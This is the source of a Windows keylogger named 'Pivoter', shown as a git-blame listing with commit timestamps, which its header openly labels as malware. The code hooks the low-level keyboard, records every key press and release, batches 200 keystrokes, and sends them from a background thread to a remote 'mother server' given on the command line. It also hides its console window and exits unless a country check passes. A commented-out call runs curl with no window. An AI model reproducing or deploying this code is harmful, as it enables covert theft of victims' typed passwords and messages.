2022-12-01 19:00:44 +00:00
|
|
|
/*
|
|
|
|
Project name: Pivoter
|
|
|
|
Project 1-Word Description: Malware
|
|
|
|
Author: Kevin Jerebica ( Osamu-KJ )
|
|
|
|
*/
|
|
|
|
|
|
|
|
#include <iostream>
|
2022-12-04 19:16:56 +00:00
|
|
|
#include <string.h>
|
|
|
|
#include <Windows.h>
|
|
|
|
#include <WinUser.h>
|
2022-12-05 22:41:36 +00:00
|
|
|
#include <vector>
|
2022-12-04 19:16:56 +00:00
|
|
|
#include "codes.h"
|
2022-12-05 22:41:36 +00:00
|
|
|
#include "connections_pivoter.h"
|
2022-12-31 16:54:55 +00:00
|
|
|
#include "security_checker.h"
|
2022-12-01 19:00:44 +00:00
|
|
|
|
2022-12-18 22:54:26 +00:00
|
|
|
#define DEBUG TRUE
|
2022-12-31 16:54:55 +00:00
|
|
|
#define KEYS_LIMIT 200
|
2022-12-04 19:16:56 +00:00
|
|
|
HHOOK keyboard_events_hook;
|
2022-12-05 22:41:36 +00:00
|
|
|
std::vector<std::string> virt_codes;
|
2023-01-01 17:12:06 +00:00
|
|
|
std::vector<std::string> thread_codes;
|
2022-12-15 21:47:12 +00:00
|
|
|
ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
|
2022-12-05 22:41:36 +00:00
|
|
|
|
2023-01-01 17:12:06 +00:00
|
|
|
DWORD WINAPI send_codes_thread_function(LPVOID keys) {
|
|
|
|
std::vector<std::string>* keys_ptr = static_cast<std::vector<std::string>*>(keys);
|
|
|
|
bool res = mother_server_pv.send_codes(*keys_ptr);
|
|
|
|
|
|
|
|
if (DEBUG && !res) {
|
|
|
|
std::cout << "Failed sending to the mother server!" << std::endl;
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
|
2022-12-05 22:41:36 +00:00
|
|
|
void stack_codes() {
|
|
|
|
if (virt_codes.size() < KEYS_LIMIT)
|
|
|
|
return;
|
|
|
|
|
2023-01-01 17:12:06 +00:00
|
|
|
thread_codes = virt_codes;
|
|
|
|
HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL);
|
2022-12-18 22:54:26 +00:00
|
|
|
|
2022-12-05 22:41:36 +00:00
|
|
|
virt_codes.clear();
|
|
|
|
}
|
2022-12-04 19:16:56 +00:00
|
|
|
|
|
|
|
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
2022-12-31 16:54:55 +00:00
|
|
|
switch (wParam) {
|
|
|
|
case WM_KEYDOWN:
|
|
|
|
case WM_SYSKEYDOWN:
|
|
|
|
case WM_KEYUP:
|
|
|
|
case WM_SYSKEYUP:
|
2022-12-04 19:16:56 +00:00
|
|
|
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
|
|
|
|
DWORD virt_code = kbd_struct->vkCode;
|
|
|
|
|
2022-12-31 16:54:55 +00:00
|
|
|
std::string prefix;
|
|
|
|
switch (wParam) {
|
|
|
|
case WM_KEYDOWN:
|
|
|
|
case WM_SYSKEYDOWN:
|
|
|
|
prefix = "DOWN_";
|
|
|
|
break;
|
|
|
|
case WM_KEYUP:
|
|
|
|
case WM_SYSKEYUP:
|
|
|
|
prefix = "UP_";
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
std::string string_key_code = prefix + VIRTUAL_KEY_CODE_TABLE[virt_code].name;
|
2022-12-05 22:41:36 +00:00
|
|
|
if (DEBUG) {
|
|
|
|
std::cout << "Key pressed: " << string_key_code << std::endl;
|
|
|
|
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
|
|
|
|
}
|
|
|
|
|
|
|
|
virt_codes.push_back(string_key_code);
|
|
|
|
stack_codes();
|
2022-12-31 16:54:55 +00:00
|
|
|
break;
|
2022-12-04 19:16:56 +00:00
|
|
|
}
|
|
|
|
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
|
|
|
|
}
|
|
|
|
|
2022-12-31 16:54:55 +00:00
|
|
|
/*
|
|
|
|
ARGUMENTS:
|
|
|
|
- 1: initial mother server ip
|
|
|
|
- 2: whitelisted country
|
|
|
|
*/
|
|
|
|
int main(int argc, char** argv) {
|
|
|
|
|
|
|
|
// security Checks
|
|
|
|
if (!check_country(argv[2]))
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
if (argc != 3) {
|
2022-12-15 21:47:12 +00:00
|
|
|
std::cout << "Error: wrong use of arguments!" << std::endl;
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (DEBUG)
|
|
|
|
for (int i = 0; i < argc; i++)
|
|
|
|
std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
|
2023-01-01 17:28:24 +00:00
|
|
|
else
|
|
|
|
ShowWindow(GetConsoleWindow(), SW_HIDE);
|
2022-12-15 21:47:12 +00:00
|
|
|
|
2022-12-31 16:54:55 +00:00
|
|
|
mother_server_pv.url = argv[1];
|
|
|
|
mother_server_pv.allowed_country = argv[2];
|
2022-12-15 21:47:12 +00:00
|
|
|
|
2022-12-04 19:16:56 +00:00
|
|
|
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
|
2022-12-05 22:41:36 +00:00
|
|
|
|
|
|
|
STARTUPINFOA startup_info;
|
|
|
|
PROCESS_INFORMATION process_info;
|
|
|
|
|
|
|
|
memset(&startup_info, 0, sizeof(STARTUPINFOA));
|
|
|
|
memset(&process_info, 0, sizeof(PROCESS_INFORMATION));
|
|
|
|
startup_info.cb = sizeof(startup_info);
|
2022-12-04 19:16:56 +00:00
|
|
|
|
2022-12-05 22:41:36 +00:00
|
|
|
/*BOOL test = CreateProcessA(
|
|
|
|
NULL,
|
|
|
|
(LPSTR) "curl http://192.168.1.108",
|
|
|
|
NULL,
|
|
|
|
NULL,
|
|
|
|
false,
|
|
|
|
CREATE_NO_WINDOW,
|
|
|
|
NULL,
|
|
|
|
NULL,
|
|
|
|
&startup_info,
|
|
|
|
&process_info);
|
|
|
|
if (test == FALSE) {
|
|
|
|
std::cout << "problem!" << std::endl;
|
|
|
|
}*/
|
2022-12-15 15:21:46 +00:00
|
|
|
|
2022-12-04 19:16:56 +00:00
|
|
|
// EVENT LOOP
|
|
|
|
while (GetMessage(NULL, NULL, 0, 0));
|
|
|
|
|
|
|
|
UnhookWindowsHookEx(keyboard_events_hook);
|
|
|
|
|
|
|
|
return 0;
|
2022-12-01 19:00:44 +00:00
|
|
|
}
|